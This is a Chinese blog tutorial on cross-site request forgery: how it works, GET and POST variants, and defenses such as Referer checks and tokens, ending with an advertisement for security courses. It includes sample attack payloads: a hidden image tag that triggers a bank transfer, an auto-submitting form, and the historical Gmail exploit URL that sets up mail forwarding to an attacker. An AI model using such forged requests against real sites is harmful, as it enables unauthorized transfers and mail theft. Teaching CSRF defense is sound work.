首页 > 其他分享 >什么是CSRF?CSRF漏洞原理攻击与防御(非常详细)零基础入门到精通,收藏这一篇就够了

什么是CSRF?CSRF漏洞原理攻击与防御(非常详细)零基础入门到精通,收藏这一篇就够了

时间:2024-08-10 18:28:18浏览次数:14  
标签:请求 网站 用户 就够 站点 CSRF 攻击者 入门

一、什么是CSRF?

CSRF (Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。

简单的说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并运行一些操作(如发邮件,发消息,甚至财产操作(如转账和购买商品))。因为浏览器之前认证过,所以被访问的站点会觉得这是真正的用户操作而去运行。

【----帮助网安学习,以下所有学习资料文末免费领!----】

二、CSRF攻击过程

如上图:其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。CSRF攻击原理及过程如下:

1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;

2. 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;

3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;

4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;

5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

三、CSRF分类

CSRF(Cross-Site Request Forgery),跟XSS漏洞攻击一样,存在巨大的危害性。

你可以这么来理解:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等

1. GET类型的CSRF

1.GET类型的CSRF

仅仅须要一个HTTP请求。就能够构造一次简单的CSRF。

样例:

银行站点A:它以GET请求来完毕银行转账的操作,如:

http://www.mybank.com/Transfer.php?toBankId=11&money=1000

危险站点B:它里面有一段HTML的代码例如以下:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先。你登录了银行站点A,然后访问危险站点B,噢,这时你会发现你的银行账户少了1000块。

为什么会这样呢?原因是银行站点A违反了HTTP规范,使用GET请求更新资源。

在访问危险站点B的之前。你已经登录了银行站点A,而B中的 一个合法的请求,但这里被不法分子利用了)。

所以你的浏览器会带上你的银行站点A的Cookie发出Get请求,去获取资源以GET的方式请求第三方资源(这里的第三方就是指银行站点了),

原本这是:

http://www.mybank.com/Transfer.php?toBankId=11&money=1000

结果银行站点服务器收到请求后,觉得这是一个更新资源操作(转账操作),所以就立马进行转账操作。

2. POST类型的CSRF

在CSRF攻击流行之初,曾经有一种错误的观点,认为CSRF攻击只能由GET请求发起。因此很多开发者都认为只要把重要的操作改成只允许POST请求,就能防止CSRF攻击。

这样的错误观点形成的原因主要在于,大多数CSRF攻击发起时,使用的HTML标签都是、、

而对于很多网站的应用来说,一些重要操作并未严格地区分GET与POST,攻击者可以使用GET来请求表单的提交地址。比如在PHP中,如果使用的是 _ R E Q U E S T ,而非 \_REQUEST,而非 _REQUEST,而非_POST获取变量,则会存在这个问题。

对于一个表单来说,用户往往也就可以使用GET方式提交参数。比如以下表单:

<form action=" / register" id="register" method="post" >``<input type=text name="username" value="" />``<input type=password name="password" value="" />``<input type=submit name="submit" value="submit" />``</form>

用户可尝试构造一个GET请求

http: //host/register?username=test&password=passwd

来提交,若服务器端未对请求方法进行限制,则这个请求会通过。

如果服务器端已经区分了GET与POST,那么攻击者有什么方法呢?对于攻击者来说,若干种方法可以构造出一个POST请求。

最简单的方法,就是在一个页面中构造好一个表单表单,然后使用JavaScript自动提交这个表单。比如,攻击者在www.b.com/test.html中编写如下代码:

<form action="http: / / www . a.com/register" id="register" method="post" ><input type=text name="username" value=""/>``<input type=password name="password" value=""/><input type=submit name="submit" value="submit"/></ form>``<script>``var f = document.getElementById ( "register");``f.inputs [0].value = "test";``f.inputs [1].value = "passwd" ;``f.submit ();``</script>

攻击者甚至可以将这个页面隐藏在一个不可见的iframe窗口中,那么整个自动提交表单的过程,对于用户来说也是不可见的。

在2007年的Gmail CSRF漏洞攻击过程中,安全研究者pdp展示了这一技巧。首先,用户需要登录Gmail账户,以便让浏览器获得Gmail的临时Cookie。

用户登录Gmail

然后,攻击者诱使用户访问一个恶意页面。

攻击者诱使用户访问恶意页面

在这个恶意页面中,隐藏了一个iframe,iframe的地址指向pdp写的CSRF构造页面。

http: //www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/form-data&_action=https%3A//mail.google.com/mail/h/ewtljmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinboxmailinator.com&cfl_from&cfl_toucf1_subjicf1_has&cfl_hasnotscf1_attach=truestfi&S=z&irf=on&nvp bu_cftb=Create%20Filter

这个链接的实际作用就是把参数生成一个POST的表单,并自动提交。

由于浏览器中已经存在Gmail的临时Cookie,所以用户在iframe中对Gmail发起的这次请求会成功―—邮箱的Filter中会新创建一条规则,将所有带附件的邮件都转发到攻击者的邮箱中。

恶意站点通过CSRF在用户的Gmail中建立一条规则。

四、CSRF防护方法

1、只使用JSON API

使用JavaScript发起AJAX请求是限制跨域的,并不能通过简单的 表单来发送JSON,所以,通过只接收JSON可以很大可能避免CSRF攻击。

2、验证HTTP Referer字段

根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如上文中用户User想要在网站WebA中进行转账操作,那么用户User

必须先登录WabA

然后再通过点击页面上的按钮出发转账事件

这时该转帐请求的 Referer 值就会是转账按钮所在的页面的URL,而如果黑客要对银行网站实施 CSRF攻击,他只能在他自己的网站构造请求,当用户User通过黑客的网站发送请求到WebA时,该请求的 Referer 是指向黑客自己的网站。

因此,要防御 CSRF 攻击,网站WebA只需要对于每一个转账请求验证其 Referer 值,如果是以网站WebA的网址开头的域名,则说明该请求是来自WebA自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。

3、在请求地址中添加takon验证

CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对。

如何入门学习网络安全【黑客】

【----帮助网安学习,以下所有学习资料文末免费领取!----】

> ① 网安学习成长路径思维导图
> ② 60+网安经典常用工具包
> ③ 100+SRC漏洞分析报告
> ④ 150+网安攻防实战技术电子书
> ⑤ 最权威CISSP 认证考试指南+题库
> ⑥ 超1800页CTF实战技巧手册
> ⑦ 最新网安大厂面试题合集(含答案)
> ⑧ APP客户端安全检测指南(安卓+IOS)

大纲

首先要找一份详细的大纲。

在这里插入图片描述

学习教程

第一阶段:零基础入门系列教程

img

该阶段学完即可年薪15w+

第二阶段:技术入门

弱口令与口令爆破
XSS漏洞
CSRF漏洞
SSRF漏洞
XXE漏洞
SQL注入
任意文件操作漏洞
业务逻辑漏洞

该阶段学完年薪25w+

img

阶段三:高阶提升

反序列化漏洞
RCE
综合靶场实操项目
内网渗透
流量分析
日志分析
恶意代码分析
应急响应
实战训练

该阶段学完即可年薪30w+

面试刷题

img
在这里插入图片描述

最后,我其实要给部分人泼冷水,因为说实话,上面讲到的资料包获取没有任何的门槛。

但是,我觉得很多人拿到了却并不会去学习。

大部分人的问题看似是“如何行动”,其实是“无法开始”。

几乎任何一个领域都是这样,所谓“万事开头难”,绝大多数人都卡在第一步,还没开始就自己把自己淘汰出局了。

如果你真的确信自己喜欢网络安全/黑客技术,马上行动起来,比一切都重要

资料领取

上述这份完整版的网络安全学习资料已经上传网盘,朋友们如果需要可以微信扫描下方二维码 即可自动领取↓↓↓
或者

点此链接】领取

标签:请求,网站,用户,就够,站点,CSRF,攻击者,入门
From: https://blog.csdn.net/weixin_46428928/article/details/141062959

相关文章

  • 010.Vue3入门,数组变化侦听,实时在界面显示变化后的数据
    1、代码如下:<template><h3>数组变化侦听</h3><button@click="addListHandle">添加数据</button><ul><liv-for="(item,index)ofnames":key="index">{{item}}</li></ul>&l......
  • 【书生大模型实战营(暑假场)闯关材料】入门岛:第1关 Linux 基础知识
    【书生大模型实战营(暑假场)闯关材料】入门岛:第1关Linux基础知识1.使用VScode进行SSH远程连接服务器2.端口映射及实例参考文献这一博客主要介绍使用VScode进行服务器远程连接及端口映射。1.使用VScode进行SSH远程连接服务器安装VScode,添加extensionRemote-SSH。......
  • 009.Vue3入门,事件修饰符的使用方法
    1、代码如下:<template><h3>事件修饰符</h3><[email protected]="clickHandle"href="http://www.baidu.com">百度</a><div@click="click1"><p@click="click2">测试1</p></div>......
  • 008.Vue3入门,最基础的事件处理,点击按钮增加次数,支持传参
    1、代码如下:<template><h3>内联事件处理群</h3><button@click="addCount1">Add</button><p>{{count1}}</p><button@click="addCount2('hello')">按钮</button><p>{{coun......
  • 007.Vue3入门,进行列表渲染来输出循环的内容
    1、代码如下:<template><h3>列表渲染</h3><pv-for="(item,index)ofnames">序号:{{index}},内容:{{item}}</p><divv-for="itemofresult"><p>ID:{{item.id}},PKID:{{item.pkid}}</p>......
  • C++基础入门
    一·命名空间(namespace)正常namespace的使用include<stdio.h>#include<stdlib.h>//1.正常的命名空间定义//wzh是命名空间的名字,⼀般开发中是⽤项⽬名字做命名空间名。namespacebit{//命名空间中可以定义变量/函数/类型intrand=10;intAdd(in......
  • 入门岛3-Git 的使用与项目构建
    任务概览任务1:破冰活动:自我介绍任务2:实践项目:构建个人项目参考:git流程:csdn1csdn2任务1:破冰活动:自我介绍1.Git是一种开源的分布式版本控制系统,广泛应用于软件开发领域,尤其是在协同工作环境中。它为程序员提供了一套必备的工具,使得团队成员能够有效地管理和......
  • Vue3Pinia入门学习
    文章目录什么是pinia创建空Vue项目并安装Pinia1.创建空Vue项目2.安装Pinia并注册、基础用法:实现counter实现getters异步actionstoreToRefs保持响应式解构什么是piniaPinia是Vue的专属状态管理库,可以实现跨组件或页面共享状态,是vuex状态管理工具的替代品,和......
  • 004.Vue3入门,使用绑定属性时undefined和disabled用法
    1、代码如下:<template><divv-bind:id="myId1"v-bind:class="testCls">测试1</div><divv-bind:id="myId2"v-bind:title="testTitle">测试2</div><div:id="myId3":class="te......
  • 002.Vue3入门,使用模板语法的一些高级功能
    1、代码如下:<template><h3>模板语法</h3><p>{{msg}}</p><p>{{msg_cn}}</p><p>{{number+1}}</p><p>{{ok?'Yes':'No'}}</p><p>{{message.split("......